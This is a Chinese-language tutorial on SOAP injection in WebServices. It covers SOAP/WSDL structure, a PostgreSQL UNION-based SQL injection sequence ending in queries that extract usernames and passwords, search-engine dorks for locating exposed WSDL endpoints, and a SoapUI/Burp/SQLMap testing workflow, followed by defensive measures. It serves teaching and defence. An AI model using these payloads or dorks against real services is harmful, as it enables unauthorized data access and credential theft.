SOAP注入
字数 1062 2025-08-10 08:28:24
SOAP注入攻击全面解析与防御指南
一、SOAP与WebService基础概念
1.1 WebService三要素
- SOAP:简单对象访问协议,用于分布式环境的信息交换
- WSDL:Web服务描述语言,XML文档说明SOAP消息如何访问接口
- UDDI:提供发布和查询WebService方法的目录服务
1.2 SOAP协议版本
- SOAP 1.1:包含SOAPAction请求头
- SOAP 1.2:使用Action代替SOAPAction,命名空间和Service定义不同
1.3 SOAP消息结构
<?xml version="1.0"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<!-- 请求头信息 -->
</soap:Header>
<soap:Body>
<!-- 请求和响应信息 -->
<soap:Fault>
<!-- 错误信息 -->
</soap:Fault>
</soap:Body>
</soap:Envelope>
二、SOAP注入攻击原理
2.1 攻击本质
攻击者通过修改SOAP消息参数,在服务端解析时执行恶意代码,主要类型包括:
- SQL注入
- XML注入
- 代码注入
2.2 典型注入点
重点关注soap:Body部分的可控参数,例如:
<soap:Body>
<GetServiceCustomer xmlns="http://tempuri.org/">
<UserID>string</UserID> <!-- 潜在注入点 -->
<ServiceType>string</ServiceType>
<CO_CODE>string</CO_CODE>
</GetServiceCustomer>
</soap:Body>
三、SOAP SQL注入实战
3.1 漏洞识别方法
- 功能分析:数据查询功能最可能存在注入(如GetUser)
- WSDL分析:查看
asmx?wsdl了解消息结构 - 参数测试:字符串类型参数最危险
3.2 PostgreSQL注入示例
3.2.1 基础探测
' or 1=1 -- qwe # 返回所有数据
' or 1=2 -- qwe # 返回空数据
3.2.2 确定字段数
' order by 2 -- qwe # 成功
' order by 3 -- qwe # 报错
3.2.3 联合查询利用
admin' union select 'aaa','aaa' -- qwe
3.2.4 数据库信息收集
-- 当前数据库
aaa' union select current_database(),'ccc' -- qwe
-- 当前用户
aaa' union select current_user,'ccc' -- qwe
-- 表名查询
aaaa' union select table_name,'ccc' from information_schema.tables limit 1 offset 17 -- qwe
-- 字段名查询
bbb' union select column_name,'ccc' from information_schema.columns where table_name='users' limit 1 offset 0 -- qwe
-- 数据提取
bbb' union select username,password from users limit 1 offset 1 -- qwe
四、SOAP注入发现技术
4.1 初级发现方法
- 搜索引擎语法:
inurl:asmx?wsdl inurl:.php?wsdl inurl:.ashx?wsdl - 网络空间测绘:FOFA搜索
asmx后缀
4.2 高级分析工具
4.2.1 SoapUI使用
- File → Create New Project
- 输入WSDL地址自动解析
- 分析接口参数
4.2.2 Burp Suite WSDler模块
- 抓取WSDL访问流量
- 右键选择"Parse WSDL"
- 结合SQLMap测试(保存请求为txt)
五、防御措施
5.1 输入验证
- 对所有SOAP参数进行严格类型检查
- 实施白名单验证机制
- 使用正则表达式过滤特殊字符
5.2 参数化查询
- 使用预编译语句(prepared statements)
- 存储过程代替动态SQL
5.3 安全配置
- 禁用详细错误信息
- 限制数据库权限
- 使用最小特权原则
5.4 其他防护
- XML Schema验证
- SOAP消息签名和加密
- Web应用防火墙(WAF)规则
六、总结
SOAP注入是WebService安全的重要威胁,攻击者通过操纵SOAP消息中的参数实现注入攻击。防御需要从输入验证、安全编码和安全配置多方面入手,同时结合自动化工具进行持续检测。理解SOAP协议结构和WSDL文档分析是发现此类漏洞的关键技能。